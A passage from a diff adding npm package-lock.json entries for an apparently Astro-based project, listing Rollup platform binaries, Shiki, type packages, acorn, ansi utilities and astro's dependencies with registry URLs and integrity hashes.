+ "integrity": "sha512-mRJlqSRulVzcKq/LKA6ICSIc3K/l4fzlVn/gePn2nXIHy8seRi5z/eeRE0d/XMBxcMldiXtQTSpRj0tkkC3g8Q==",
+ "cpu": [
+ "x64"
+ ],
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "freebsd"
+ ]
+ },
+ "node_modules/@rollup/rollup-linux-arm-gnueabihf": {
+ "version": "4.63.1",
+ "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm-gnueabihf/-/rollup-linux-arm-gnueabihf-4.63.1.tgz",
+ "integrity": "sha512-YDUNvVM85TI3g/1OpnqKP1h4NeW/j64DfWMf+G3M809xNk1bJSnpFp4sh83NpmVE5DXnkh8ULor4LTVZKoYLHw==",
+ "cpu": [
+ "arm"
+ ],
+ "libc": [
+ "glibc"
+ ],
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "linux"
+ ]
+ },
+ "node_modules/@rollup/rollup-linux-arm-musleabihf": {
+ "version": "4.63.1",
+ "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm-musleabihf/-/rollup-linux-arm-musleabihf-4.63.1.tgz",
+ "integrity": "sha512-7Mcn71p9ZuQFAj+h+dhQXy/yeLePRS2yKRnmW1DijA9thKO5qap0GNOIQK4yQ6iP3SU0Mrb/yWo8h8vgRba8lw==",
+ "cpu": [
+ "arm"
+ ],
+ "libc": [
+ "musl"
+ ],
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "linux"
+ ]
+ },
+ "node_modules/@rollup/rollup-linux-arm64-gnu": {
+ "version": "4.63.1",
+ "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm64-gnu/-/rollup-linux-arm64-gnu-4.63.1.tgz",
+ "integrity": "sha512-4YiLQTX6U4CSl0L9cluep9A9W6UmTfqBDc2/CH6wlu54pl4E7Jn3cOD8oxzvBDEGk/JMKgJ47C8g+radF7mwvg==",
+ "cpu": [
+ "arm64"
+ ],
+ "libc": [
+ "glibc"
+ ],
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "linux"
+ ]
+ },
+ "node_modules/@rollup/rollup-linux-arm64-musl": {
+ "version": "4.63.1",
+ "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm64-musl/-/rollup-linux-arm64-musl-4.63.1.tgz",
+ "integrity": "sha512-2ra8F7w8OquwZN9z2/fKFnli69wa8PLwaVzRMIPGb13ByMJwC28Fbp8YcVGoUhlYMTt7j5j9bNgpysrN2UM+vw==",
+ "cpu": [
+ "arm64"
+ ],
+ "libc": [
+ "musl"
+ ],
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "linux"
+ ]
+ },
+ "node_modules/@rollup/rollup-linux-loong64-gnu": {
+ "version": "4.63.1",
+ "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-loong64-gnu/-/rollup-linux-loong64-gnu-4.63.1.tgz",
+ "integrity": "sha512-Sy20ncyhjmBP0Ml+UvQbimjlk6VFgjW5uNP+qqwHB00mTE8Bl2C1TuHTlRwK2YoXeZbee5lP2XevBWVkAQAtSQ==",
+ "cpu": [
+ "loong64"
+ ],
+ "libc": [
+ "glibc"
+ ],
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "linux"
+ ]
+ },
+ "node_modules/@rollup/rollup-linux-loong64-musl": {
+ "version": "4.63.1",
+ "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-loong64-musl/-/rollup-linux-loong64-musl-4.63.1.tgz",
+ "integrity": "sha512-noITLp8oNjYliPnGWmLyelIHwULGqbHloQHGw1rtxbWhTuWooRpnZarZQJ1y9EUC4szuCusCc+HEpUtxpIwYvA==",
+ "cpu": [
+ "loong64"
+ ],
+ "libc": [
+ "musl"
+ ],
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "linux"
+ ]
+ },
+ "node_modules/@rollup/rollup-linux-ppc64-gnu": {
+ "version": "4.63.1",
+ "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-ppc64-gnu/-/rollup-linux-ppc64-gnu-4.63.1.tgz",
+ "integrity": "sha512-hlxxXd+F1mWiAcaFR7Sv9ZQT6m6UfI8+Vy/kFJzztq2pDMU/0wZ9sish0iszNZvsQDo8Gc0i5yuFEOz5dDf6fA==",
+ "cpu": [
+ "ppc64"
+ ],
+ "libc": [
+ "glibc"
+ ],
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "linux"
+ ]
+ },
+ "node_modules/@rollup/rollup-linux-ppc64-musl": {
+ "version": "4.63.1",
+ "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-ppc64-musl/-/rollup-linux-ppc64-musl-4.63.1.tgz",
+ "integrity": "sha512-EF7OpqQTQ/BvGqLzUi4rEHuagCV9MugAUXSHemwPW5vxZ75RR+jxO/2j95Ph2dalMpFHSVECjRoioHZgA9zOYA==",
+ "cpu": [
+ "ppc64"
+ ],
+ "libc": [
+ "musl"
+ ],
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "linux"
+ ]
+ },
+ "node_modules/@rollup/rollup-linux-riscv64-gnu": {
+ "version": "4.63.1",
+ "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-riscv64-gnu/-/rollup-linux-riscv64-gnu-4.63.1.tgz",
+ "integrity": "sha512-wQO3JesW9PRkwlabQ27y7sPfVOOTLRG73I4F2UYHG5PXun3J9U3y+b7ezVKSYbsvSKGQ1k1cq8Qlun4C9kLt3w==",
+ "cpu": [
+ "riscv64"
+ ],
+ "libc": [
+ "glibc"
+ ],
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "linux"
+ ]
+ },
+ "node_modules/@rollup/rollup-linux-riscv64-musl": {
+ "version": "4.63.1",
+ "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-riscv64-musl/-/rollup-linux-riscv64-musl-4.63.1.tgz",
+ "integrity": "sha512-ouAGwhO6wHRXdnOVCOsB0tRFkA7nhNB2Nwax6oECXN0YiN8EYUTBAOudADOB1PI+yDL61TeNx/u7MVCzksNbkQ==",
+ "cpu": [
+ "riscv64"
+ ],
+ "libc": [
+ "musl"
+ ],
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "linux"
+ ]
+ },
+ "node_modules/@rollup/rollup-linux-s390x-gnu": {
+ "version": "4.63.1",
+ "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-s390x-gnu/-/rollup-linux-s390x-gnu-4.63.1.tgz",
+ "integrity": "sha512-q2R38Sn+1J8RxhfJ+T54wSWmyKXWec+9jgDfqO2AtArEqHO5R2aeayp5H5OYLr5UYDVGsVaZPEFUooMhYCdz5A==",
+ "cpu": [
+ "s390x"
+ ],
+ "libc": [
+ "glibc"
+ ],
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "linux"
+ ]
+ },
+ "node_modules/@rollup/rollup-linux-x64-gnu": {
+ "version": "4.63.1",
+ "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-x64-gnu/-/rollup-linux-x64-gnu-4.63.1.tgz",
+ "integrity": "sha512-gfI5T24WLLuFfSKw7Go/zDXjAAV0fny0swTaDv+WjK7vqcw4cRhFfdsyKL1n+ukI+ooBxn3bVQnyrn06WpI50w==",
+ "cpu": [
+ "x64"
+ ],
+ "libc": [
+ "glibc"
+ ],
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "linux"
+ ]
+ },
+ "node_modules/@rollup/rollup-linux-x64-musl": {
+ "version": "4.63.1",
+ "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-x64-musl/-/rollup-linux-x64-musl-4.63.1.tgz",
+ "integrity": "sha512-4h6XqthmB4Hspji84wvgk+ElodTsGj+dbZqHJHHtKxj4mYq0ANSEEPX9ys3moJueqsRjwpaJYH7874Itwnj2ow==",
+ "cpu": [
+ "x64"
+ ],
+ "libc": [
+ "musl"
+ ],
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "linux"
+ ]
+ },
+ "node_modules/@rollup/rollup-openbsd-x64": {
+ "version": "4.63.1",
+ "resolved": "https://registry.npmjs.org/@rollup/rollup-openbsd-x64/-/rollup-openbsd-x64-4.63.1.tgz",
+ "integrity": "sha512-dlfCOa87o1VAYegLQ9EKilx2JCeRofiyPGhTCmqnuXZ6bMPiycO1rq1+sKoulAp7pGLIsTIw+1x5R+zgh5LhhA==",
+ "cpu": [
+ "x64"
+ ],
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "openbsd"
+ ]
+ },
+ "node_modules/@rollup/rollup-openharmony-arm64": {
+ "version": "4.63.1",
+ "resolved": "https://registry.npmjs.org/@rollup/rollup-openharmony-arm64/-/rollup-openharmony-arm64-4.63.1.tgz",
+ "integrity": "sha512-cjkLbOlfcm3QGhMM1J5zaZjsw1GggbN6rw9UTSSRrPrR1KkcXnN7Uq9rPw34xImQ9VOY9GN+6u2Zj80B9ptkcw==",
+ "cpu": [
+ "arm64"
+ ],
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "openharmony"
+ ]
+ },
+ "node_modules/@rollup/rollup-win32-arm64-msvc": {
+ "version": "4.63.1",
+ "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-arm64-msvc/-/rollup-win32-arm64-msvc-4.63.1.tgz",
+ "integrity": "sha512-Li1KdUnWGE4N3e1F/B4RTB1ms+nG4WBgjByO46pkeBVX/2UBsY53xf5vK9WygVmnH3RwncIST7lkSdLSY6P9lg==",
+ "cpu": [
+ "arm64"
+ ],
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "win32"
+ ]
+ },
+ "node_modules/@rollup/rollup-win32-ia32-msvc": {
+ "version": "4.63.1",
+ "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-ia32-msvc/-/rollup-win32-ia32-msvc-4.63.1.tgz",
+ "integrity": "sha512-t4ZYOSoLTgwhuFMrmTMLx/+i1DQVK7HYqMc6kY46EApwi8X0nIVphzdNoThU3xt6n+N5urG1/gxBdCaKDLavfg==",
+ "cpu": [
+ "ia32"
+ ],
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "win32"
+ ]
+ },
+ "node_modules/@rollup/rollup-win32-x64-gnu": {
+ "version": "4.63.1",
+ "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-x64-gnu/-/rollup-win32-x64-gnu-4.63.1.tgz",
+ "integrity": "sha512-RgroPfMmKlD1RzSDxvwgcPiy2HNQKoYV7OmwIXDsk73uKW5t6B/V8KIy27SMv/FNXFo/oSBtWc9J0X7t91ezZg==",
+ "cpu": [
+ "x64"
+ ],
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "win32"
+ ]
+ },
+ "node_modules/@rollup/rollup-win32-x64-msvc": {
+ "version": "4.63.1",
+ "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-x64-msvc/-/rollup-win32-x64-msvc-4.63.1.tgz",
+ "integrity": "sha512-at8QVep6S3h5Y6gSbdGU06bRY5WJkf6WUduM9YtvYMbYhB1MOFfUgc6kehitQXzOtMSaT70q7f9ydPhpqu821w==",
+ "cpu": [
+ "x64"
+ ],
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "win32"
+ ]
+ },
+ "node_modules/@shikijs/core": {
+ "version": "3.23.0",
+ "resolved": "https://registry.npmjs.org/@shikijs/core/-/core-3.23.0.tgz",
+ "integrity": "sha512-NSWQz0riNb67xthdm5br6lAkvpDJRTgB36fxlo37ZzM2yq0PQFFzbd8psqC2XMPgCzo1fW6cVi18+ArJ44wqgA==",
+ "license": "MIT",
+ "dependencies": {
+ "@shikijs/types": "3.23.0",
+ "@shikijs/vscode-textmate": "^10.0.2",
+ "@types/hast": "^3.0.4",
+ "hast-util-to-html": "^9.0.5"
+ }
+ },
+ "node_modules/@shikijs/engine-javascript": {
+ "version": "3.23.0",
+ "resolved": "https://registry.npmjs.org/@shikijs/engine-javascript/-/engine-javascript-3.23.0.tgz",
+ "integrity": "sha512-aHt9eiGFobmWR5uqJUViySI1bHMqrAgamWE1TYSUoftkAeCCAiGawPMwM+VCadylQtF4V3VNOZ5LmfItH5f3yA==",
+ "license": "MIT",
+ "dependencies": {
+ "@shikijs/types": "3.23.0",
+ "@shikijs/vscode-textmate": "^10.0.2",
+ "oniguruma-to-es": "^4.3.4"
+ }
+ },
+ "node_modules/@shikijs/engine-oniguruma": {
+ "version": "3.23.0",
+ "resolved": "https://registry.npmjs.org/@shikijs/engine-oniguruma/-/engine-oniguruma-3.23.0.tgz",
+ "integrity": "sha512-1nWINwKXxKKLqPibT5f4pAFLej9oZzQTsby8942OTlsJzOBZ0MWKiwzMsd+jhzu8YPCHAswGnnN1YtQfirL35g==",
+ "license": "MIT",
+ "dependencies": {
+ "@shikijs/types": "3.23.0",
+ "@shikijs/vscode-textmate": "^10.0.2"
+ }
+ },
+ "node_modules/@shikijs/langs": {
+ "version": "3.23.0",
+ "resolved": "https://registry.npmjs.org/@shikijs/langs/-/langs-3.23.0.tgz",
+ "integrity": "sha512-2Ep4W3Re5aB1/62RSYQInK9mM3HsLeB91cHqznAJMuylqjzNVAVCMnNWRHFtcNHXsoNRayP9z1qj4Sq3nMqYXg==",
+ "license": "MIT",
+ "dependencies": {
+ "@shikijs/types": "3.23.0"
+ }
+ },
+ "node_modules/@shikijs/themes": {
+ "version": "3.23.0",
+ "resolved": "https://registry.npmjs.org/@shikijs/themes/-/themes-3.23.0.tgz",
+ "integrity": "sha512-5qySYa1ZgAT18HR/ypENL9cUSGOeI2x+4IvYJu4JgVJdizn6kG4ia5Q1jDEOi7gTbN4RbuYtmHh0W3eccOrjMA==",
+ "license": "MIT",
+ "dependencies": {
+ "@shikijs/types": "3.23.0"
+ }
+ },
+ "node_modules/@shikijs/types": {
+ "version": "3.23.0",
+ "resolved": "https://registry.npmjs.org/@shikijs/types/-/types-3.23.0.tgz",
+ "integrity": "sha512-3JZ5HXOZfYjsYSk0yPwBrkupyYSLpAE26Qc0HLghhZNGTZg/SKxXIIgoxOpmmeQP0RRSDJTk1/vPfw9tbw+jSQ==",
+ "license": "MIT",
+ "dependencies": {
+ "@shikijs/vscode-textmate": "^10.0.2",
+ "@types/hast": "^3.0.4"
+ }
+ },
+ "node_modules/@shikijs/vscode-textmate": {
+ "version": "10.0.2",
+ "resolved": "https://registry.npmjs.org/@shikijs/vscode-textmate/-/vscode-textmate-10.0.2.tgz",
+ "integrity": "sha512-83yeghZ2xxin3Nj8z1NMd/NCuca+gsYXswywDy5bHvwlWL8tpTQmzGeUuHd9FC3E/SBEMvzJRwWEOz5gGes9Qg==",
+ "license": "MIT"
+ },
+ "node_modules/@types/debug": {
+ "version": "4.1.13",
+ "resolved": "https://registry.npmjs.org/@types/debug/-/debug-4.1.13.tgz",
+ "integrity": "sha512-KSVgmQmzMwPlmtljOomayoR89W4FynCAi3E8PPs7vmDVPe84hT+vGPKkJfThkmXs0x0jAaa9U8uW8bbfyS2fWw==",
+ "license": "MIT",
+ "dependencies": {
+ "@types/ms": "*"
+ }
+ },
+ "node_modules/@types/estree": {
+ "version": "1.0.9",
+ "resolved": "https://registry.npmjs.org/@types/estree/-/estree-1.0.9.tgz",
+ "integrity": "sha512-GhdPgy1el4/ImP05X05Uw4cw2/M93BCUmnEvWZNStlCzEKME4Fkk+YpoA5OiHNQmoS7Cafb8Xa3Pya8m1Qrzeg==",
+ "license": "MIT"
+ },
+ "node_modules/@types/estree-jsx": {
+ "version": "1.0.5",
+ "resolved": "https://registry.npmjs.org/@types/estree-jsx/-/estree-jsx-1.0.5.tgz",
+ "integrity": "sha512-52CcUVNFyfb1A2ALocQw/Dd1BQFNmSdkuC3BkZ6iqhdMfQz7JWOFRuJFloOzjk+6WijU56m9oKXFAXc7o3Towg==",
+ "license": "MIT",
+ "dependencies": {
+ "@types/estree": "*"
+ }
+ },
+ "node_modules/@types/hast": {
+ "version": "3.0.5",
+ "resolved": "https://registry.npmjs.org/@types/hast/-/hast-3.0.5.tgz",
+ "integrity": "sha512-rp/ezSWaD1m44dPKICGhiskI13nVr7qTloFwDa/IYkhhf5nzwP+zIQcIJh3WIFSBOy/H1PzB40jPjMDksN4F+g==",
+ "license": "MIT",
+ "dependencies": {
+ "@types/unist": "*"
+ }
+ },
+ "node_modules/@types/mdast": {
+ "version": "4.0.4",
+ "resolved": "https://registry.npmjs.org/@types/mdast/-/mdast-4.0.4.tgz",
+ "integrity": "sha512-kGaNbPh1k7AFzgpud/gMdvIm5xuECykRR+JnWKQno9TAXVa6WIVCGTPvYGekIDL4uwCZQSYbUxNBSb1aUo79oA==",
+ "license": "MIT",
+ "dependencies": {
+ "@types/unist": "*"
+ }
+ },
+ "node_modules/@types/mdx": {
+ "version": "2.0.14",
+ "resolved": "https://registry.npmjs.org/@types/mdx/-/mdx-2.0.14.tgz",
+ "integrity": "sha512-T48PeuJtvLosNTPVhfnIp3i/n3a4g4Bad7YCq5k64D4u7NwDrAotikQ+5+sjtUvBmxCMlbo3dVL+C2dP0rWHzg==",
+ "license": "MIT"
+ },
+ "node_modules/@types/ms": {
+ "version": "2.1.0",
+ "resolved": "https://registry.npmjs.org/@types/ms/-/ms-2.1.0.tgz",
+ "integrity": "sha512-GsCCIZDE/p3i96vtEqx+7dBUGXrc7zeSK3wwPHIaRThS+9OhWIXRqzs4d6k1SVU8g91DrNRWxWUGhp5KXQb2VA==",
+ "license": "MIT"
+ },
+ "node_modules/@types/nlcst": {
+ "version": "2.0.3",
+ "resolved": "https://registry.npmjs.org/@types/nlcst/-/nlcst-2.0.3.tgz",
+ "integrity": "sha512-vSYNSDe6Ix3q+6Z7ri9lyWqgGhJTmzRjZRqyq15N0Z/1/UnVsno9G/N40NBijoYx2seFDIl0+B2mgAb9mezUCA==",
+ "license": "MIT",
+ "dependencies": {
+ "@types/unist": "*"
+ }
+ },
+ "node_modules/@types/node": {
+ "version": "24.13.3",
+ "resolved": "https://registry.npmjs.org/@types/node/-/node-24.13.3.tgz",
+ "integrity": "sha512-Dh8vAsV36ig5wa9OX4pXvMc9D3Veibfw2wix0CUwYODLD8nkj9UsLjASr49nPg+2eKzxhBV+v7L8pXvT4e639Q==",
+ "license": "MIT",
+ "dependencies": {
+ "undici-types": "~7.18.0"
+ }
+ },
+ "node_modules/@types/sax": {
+ "version": "1.2.7",
+ "resolved": "https://registry.npmjs.org/@types/sax/-/sax-1.2.7.tgz",
+ "integrity": "sha512-rO73L89PJxeYM3s3pPPjiPgVVcymqU490g0YO5n5By0k2Erzj6tay/4lr1CHAAU4JyOWd1rpQ8bCf6cZfHU96A==",
+ "license": "MIT",
+ "dependencies": {
+ "@types/node": "*"
+ }
+ },
+ "node_modules/@types/unist": {
+ "version": "3.0.3",
+ "resolved": "https://registry.npmjs.org/@types/unist/-/unist-3.0.3.tgz",
+ "integrity": "sha512-ko/gIFJRv177XgZsZcBwnqJN5x/Gien8qNOn0D5bQU/zAzVf9Zt3BlcUiLqhV9y4ARk0GbT3tnUiPNgnTXzc/Q==",
+ "license": "MIT"
+ },
+ "node_modules/@ungap/structured-clone": {
+ "version": "1.4.0",
+ "resolved": "https://registry.npmjs.org/@ungap/structured-clone/-/structured-clone-1.4.0.tgz",
+ "integrity": "sha512-1mEZtMKPM09vDmQt5y7YvmN2+DFTP7Tg0EWXdic8/C6VRnpb33e4ghisCIE3WZjsE2N8mf+QV1Zqh7ZFYLWInQ==",
+ "license": "ISC"
+ },
+ "node_modules/acorn": {
+ "version": "8.18.0",
+ "resolved": "https://registry.npmjs.org/acorn/-/acorn-8.18.0.tgz",
+ "integrity": "sha512-lGq+9yr1/GuAWaVYIHRjvvySG5/4VfKIvC8EWxStPdcDh/Ka7FG3twP6v4d5BkravUilhIAsG4Qj83t02LWUPQ==",
+ "license": "MIT",
+ "bin": {
+ "acorn": "bin/acorn"
+ },
+ "engines": {
+ "node": ">=0.4.0"
+ }
+ },
+ "node_modules/acorn-jsx": {
+ "version": "5.3.2",
+ "resolved": "https://registry.npmjs.org/acorn-jsx/-/acorn-jsx-5.3.2.tgz",
+ "integrity": "sha512-rq9s+JNhf0IChjtDXxllJ7g41oZk5SlXtp0LHwyA5cejwn7vKmKp4pPri6YEePv2PU65sAsegbXtIinmDFDXgQ==",
+ "license": "MIT",
+ "peerDependencies": {
+ "acorn": "^6.0.0 || ^7.0.0 || ^8.0.0"
+ }
+ },
+ "node_modules/ansi-align": {
+ "version": "3.0.1",
+ "resolved": "https://registry.npmjs.org/ansi-align/-/ansi-align-3.0.1.tgz",
+ "integrity": "sha512-IOfwwBF5iczOjp/WeY4YxyjqAFMQoZufdQWDd19SEExbVLNXqvpzSJ/M7Za4/sCPmQ0+GRquoA7bGcINcxew6w==",
+ "license": "ISC",
+ "dependencies": {
+ "string-width": "^4.1.0"
+ }
+ },
+ "node_modules/ansi-align/node_modules/ansi-regex": {
+ "version": "5.0.1",
+ "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz",
+ "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==",
+ "license": "MIT",
+ "engines": {
+ "node": ">=8"
+ }
+ },
+ "node_modules/ansi-align/node_modules/emoji-regex": {
+ "version": "8.0.0",
+ "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz",
+ "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==",
+ "license": "MIT"
+ },
+ "node_modules/ansi-align/node_modules/string-width": {
+ "version": "4.2.3",
+ "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz",
+ "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==",
+ "license": "MIT",
+ "dependencies": {
+ "emoji-regex": "^8.0.0",
+ "is-fullwidth-code-point": "^3.0.0",
+ "strip-ansi": "^6.0.1"
+ },
+ "engines": {
+ "node": ">=8"
+ }
+ },
+ "node_modules/ansi-align/node_modules/strip-ansi": {
+ "version": "6.0.1",
+ "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz",
+ "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==",
+ "license": "MIT",
+ "dependencies": {
+ "ansi-regex": "^5.0.1"
+ },
+ "engines": {
+ "node": ">=8"
+ }
+ },
+ "node_modules/ansi-regex": {
+ "version": "6.3.0",
+ "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-6.3.0.tgz",
+ "integrity": "sha512-WpDfL7NO6j7tH88IDBNVdUJxDh9nmCteAVW9dsep846XdwF4naCBK+/tGLX3KJgcpgMRXCFlTM2hKGoK9FsdrQ==",
+ "license": "MIT",
+ "engines": {
+ "node": ">=12"
+ },
+ "funding": {
+ "url": "https://github.com/chalk/ansi-regex?sponsor=1"
+ }
+ },
+ "node_modules/ansi-styles": {
+ "version": "6.2.3",
+ "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-6.2.3.tgz",
+ "integrity": "sha512-4Dj6M28JB+oAH8kFkTLUo+a2jwOFkuqb3yucU0CANcRRUbxS0cP0nZYCGjcc3BNXwRIsUVmDGgzawme7zvJHvg==",
+ "license": "MIT",
+ "engines": {
+ "node": ">=12"
+ },
+ "funding": {
+ "url": "https://github.com/chalk/ansi-styles?sponsor=1"
+ }
+ },
+ "node_modules/anymatch": {
+ "version": "3.1.3",
+ "resolved": "https://registry.npmjs.org/anymatch/-/anymatch-3.1.3.tgz",
+ "integrity": "sha512-KMReFUr0B4t+D+OBkjR3KYqvocp2XaSzO55UcB6mgQMd3KbcE+mWTyvVV7D/zsdEbNnV6acZUutkiHQXvTr1Rw==",
+ "license": "ISC",
+ "dependencies": {
+ "normalize-path": "^3.0.0",
+ "picomatch": "^2.0.4"
+ },
+ "engines": {
+ "node": ">= 8"
+ }
+ },
+ "node_modules/anymatch/node_modules/picomatch": {
+ "version": "2.3.2",
+ "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-2.3.2.tgz",
+ "integrity": "sha512-V7+vQEJ06Z+c5tSye8S+nHUfI51xoXIXjHQ99cQtKUkQqqO1kO/KCJUfZXuB47h/YBlDhah2H3hdUGXn8ie0oA==",
+ "license": "MIT",
+ "engines": {
+ "node": ">=8.6"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/jonschlinkert"
+ }
+ },
+ "node_modules/arg": {
+ "version": "5.0.2",
+ "resolved": "https://registry.npmjs.org/arg/-/arg-5.0.2.tgz",
+ "integrity": "sha512-PYjyFOLKQ9y57JvQ6QLo8dAgNqswh8M1RMJYdQduT6xbWSgK36P/Z/v+p888pM69jMMfS8Xd8F6I1kQ/I9HUGg==",
+ "license": "MIT"
+ },
+ "node_modules/argparse": {
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/argparse/-/argparse-2.0.1.tgz",
+ "integrity": "sha512-8+9WqebbFzpX9OR+Wa6O29asIogeRMzcGtAINdpMHHyAg10f05aSFVBbcEqGf/PXw1EjAZ+q2/bEBg3DvurK3Q==",
+ "license": "Python-2.0"
+ },
+ "node_modules/aria-query": {
+ "version": "5.3.2",
+ "resolved": "https://registry.npmjs.org/aria-query/-/aria-query-5.3.2.tgz",
+ "integrity": "sha512-COROpnaoap1E2F000S62r6A60uHZnmlvomhfyT2DlTcrY1OrBKn2UhH7qn5wTC9zMvD0AY7csdPSNwKP+7WiQw==",
+ "license": "Apache-2.0",
+ "engines": {
+ "node": ">= 0.4"
+ }
+ },
+ "node_modules/array-iterate": {
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/array-iterate/-/array-iterate-2.0.1.tgz",
+ "integrity": "sha512-I1jXZMjAgCMmxT4qxXfPXa6SthSoE8h6gkSI9BGGNv8mP8G/v0blc+qFnZu6K42vTOiuME596QaLO0TP3Lk0xg==",
+ "license": "MIT",
+ "funding": {
+ "type": "github",
+ "url": "https://github.com/sponsors/wooorm"
+ }
+ },
+ "node_modules/astring": {
+ "version": "1.9.0",
+ "resolved": "https://registry.npmjs.org/astring/-/astring-1.9.0.tgz",
+ "integrity": "sha512-LElXdjswlqjWrPpJFg1Fx4wpkOCxj1TDHlSV4PlaRxHGWko024xICaa97ZkMfs6DRKlCguiAI+rbXv5GWwXIkg==",
+ "license": "MIT",
+ "bin": {
+ "astring": "bin/astring"
+ }
+ },
+ "node_modules/astro": {
+ "version": "5.18.2",
+ "resolved": "https://registry.npmjs.org/astro/-/astro-5.18.2.tgz",
+ "integrity": "sha512-TnFwLnAXty5MXKPDGuKXqK4AMBXG+FH6RUdK7Oyc3gyfNoFIthT+4eRbzOK43bdRlLaZuxgciDSjgtggZ3OtGQ==",
+ "license": "MIT",
+ "dependencies": {
+ "@astrojs/compiler": "^2.13.0",
+ "@astrojs/internal-helpers": "0.7.6",
+ "@astrojs/markdown-remark": "6.3.11",
+ "@astrojs/telemetry": "3.3.0",
+ "@capsizecss/unpack": "^4.0.0",
+ "@oslojs/encoding": "^1.1.0",
+ "@rollup/pluginutils": "^5.3.0",
+ "acorn": "^8.15.0",
+ "aria-query": "^5.3.2",
+ "axobject-query": "^4.1.0",
+ "boxen": "8.0.1",
+ "ci-info": "^4.3.1",
+ "clsx": "^2.1.1",
+ "common-ancestor-path": "^1.0.1",
+ "cookie": "^1.1.1",
+ "cssesc": "^3.0.0",
+ "debug": "^4.4.3",
+ "deterministic-object-hash": "^2.0.2",
+ "devalue": "^5.6.2",
+ "diff": "^8.0.3",
+ "dlv": "^1.1.3",
+ "dset": "^3.1.4",
+ "es-module-lexer": "^1.7.0",
+ "esbuild": "^0.27.3",
+ "estree-walker": "^3.0.3",
+ "flattie": "^1.1.1",
+ "fontace": "~0.4.0",
+ "github-slugger": "^2.0.0",
+ "html-escaper": "3.0.3",
+ "http-cache-semantics": "^4.2.0",
+ "import-meta-resolve": "^4.2.0",
+ "js-yaml": "^4.1.1",
+ "magic-string": "^0.30.21",
+ "magicast": "^0.5.1",
+ "mrmime": "^2.0.1",
+ "neotraverse": "^0.6.18",
+ "p-limit": "^6.2.0",
+ "p-queue": "^8.1.1",
+ "package-manager-detector": "^1.6.0",
+ "piccolore": "^0.1.3",
+ "picomatch": "^4.0.3",
+ "prompts": "^2.4.2",
+ "rehype": "^13.0.2",
+ "semver": "^7.7.3",
+ "shiki": "^3.21.0",
+ "smol-toml": "^1.6.0",
+ "svgo": "^4.0.0",
+ "tinyexec": "^1.0.2",
+ "tinyglobby": "^0.2.15",
+ "tsconfck": "^3.1.6",
+ "ultrahtml": "^1.6.0",
+ "unifont": "~0.7.3",
+ "unist-util-visit": "^5.0.0",
+ "unstorage": "^1.17.4",
+ "vfile": "^6.0.3",
+ "vite": "^6.4.1",
+ "vitefu": "^1.1.1",
+ "xxhash-wasm": "^1.1.0",
+ "yargs-parser": "^21.1.1",
+ "yocto-spinner": "^0.2.3",
+ "zod": "^3.25.76",
+ "zod-to-json-schema": "^3.25.1",
+ "zod-to-ts": "^1.2.0"
+ },
+ "bin": {
+ "astro": "astro.js"
+ },
+ "engines": {
+ "node": "18.20.8 || ^20.3.0 || >=22.0.0",
+ "npm": ">=9.6.5",
+ "pnpm": ">=7.1.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/astrodotbuild"
+ },
+ "optionalDependencies": {
+ "sharp": "^0.34.0"
+ }
+ },
+ "node_modules/astro/node_modules/@esbuild/aix-ppc64": {
+ "version": "0.27.7",
